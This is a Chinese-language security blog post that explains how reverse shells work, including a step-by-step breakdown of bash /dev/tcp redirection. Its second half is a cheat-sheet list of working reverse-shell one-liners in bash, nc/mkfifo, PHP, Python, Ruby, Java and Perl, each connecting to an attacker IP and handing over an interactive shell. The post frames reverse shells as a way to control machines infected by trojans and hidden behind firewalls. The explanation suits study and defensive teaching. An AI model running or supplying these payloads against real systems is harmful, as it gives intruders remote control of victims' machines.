Damn1t
for you I bleed myself dry
FRIENDS
baidu

反弹shell原理

2020-01-31 shell

什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

反弹即是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接

反弹shell的本质

在靶机上执行如下命令

1
bash -i >& /dev/tcp/192.168.43.164/6666 0>&1

在攻击机上接收到会话

分析

对上述命令进行拆分

  • bash -i
  1. -i 这一命令表示shell是交互式的,你输入一行命令,shell就执行一行命令
  2. 其实不止可以使用bash,因为linux有多个shell,所以也可以使用sh、zsh等
  • >&
    根据shell手册上的解释,这种结构把标准输出 和标准错误输出同时重定向其后的文件中,一般有两种形式:>&[word]&>[word]

  • /dev/tcp/IP/PORT
    如果主机名是个有效的主机名称或因特网地址,并且端口号是整数型的端口 号或服务名称,bash 会试图打开一个到相应套接字端口的 tcp 连接
    /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的

探索

1.输入bash -i > /dev/tcp/ip/port
会发现在靶机上输入命令,其结果会在攻击机上显示

上述命令的含义就是将靶机上的输出重定向到攻击机上

2.输入bash -i < /dev/tcp/ip/port
则意味着将输入重定向,也就是攻击机上的输入结果会回显到靶机上

3.将上述俩条命令结合就形成了bash -i > /dev/tcp/ip/port 0>&1

满足了在攻击机上输入命令,攻击机上回显,但是,靶机上同样会显示攻击机所输入的命令

4.对比最开始的命令bash -i >& /dev/tcp/192.168.43.164/6666 0>&1,3的区别就在于缺少标准错误的重定向,实际上就是后面少了一个2>&1

标准错误2不仅显示错误信息,居然还有回显输入命令和终端提示符的作用。

进一步

对于bash -i >& /dev/tcp/192.168.43.164/6666 0>&1,等价于

1
2
3
4
5
bash -i &>/dev/tcp/192.168.43.164/6666 0>&1
bash -i>& /dev/tcp/192.168.43.164/6666 0<&1
bash -i>& /dev/tcp/192.168.43.164/6666 <&1
bash -i>& /dev/tcp/192.168.43.164/6666 <&2
bash -i 1>/dev/tcp/192.168.43.164/6666 2>&1 0>&1

其他方法

exec函数

1
exec 5<>/dev/tcp/192.168.190.138/6666;cat <&5|while read line;do $line>&5 2>&1;done

这一句将文件描述符5重定向到了 /dev/tcp/192.168.190.138/6666 并且方式是读写方式

1
2
3
4
command | while read line
do

done

这是一种常见的用法,command命令的输出作为read循环的输入,while read line 是一次性将文件信息读入并赋值给变量line ,while中使用重定向机制,文件中的所有信息都被读入并重定向给了整个while 语句中的line 变量。

上述命令使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能

nc

nc很少出现在生产系统中,即使存在,有些也没有-e选项

1
nc -e /bin/sh 10.0.0.1 1234

出于上述原因,还有另一种方法

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

在tmp目录下创立一个名称为f的管道

管道是一种通信机制,通常用于进程间的通信(也可通过socket进行网络通信),它表现出来的形式将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)

cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

php

方法1:

1
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

方法2:

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

参考链接:
https://www.freebuf.com/articles/system/178150.html
https://xz.aliyun.com/t/2549
https://www.freebuf.com/articles/system/153986.html

Author: damn1t

Link: http://microvorld.com/2020/01/31/OS/反弹shell原理/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
apt-笔记
NextPost >
DC-3
CATALOG
  1. 1. 什么是反弹shell
  2. 2. 为什么要反弹shell
  3. 3. 反弹shell的本质
    1. 3.1. 分析
    2. 3.2. 探索
    3. 3.3. 进一步
  4. 4. 其他方法
    1. 4.1. exec函数
    2. 4.2. nc
    3. 4.3. php
    4. 4.4. python
    5. 4.5. ruby
    6. 4.6. java
    7. 4.7. perl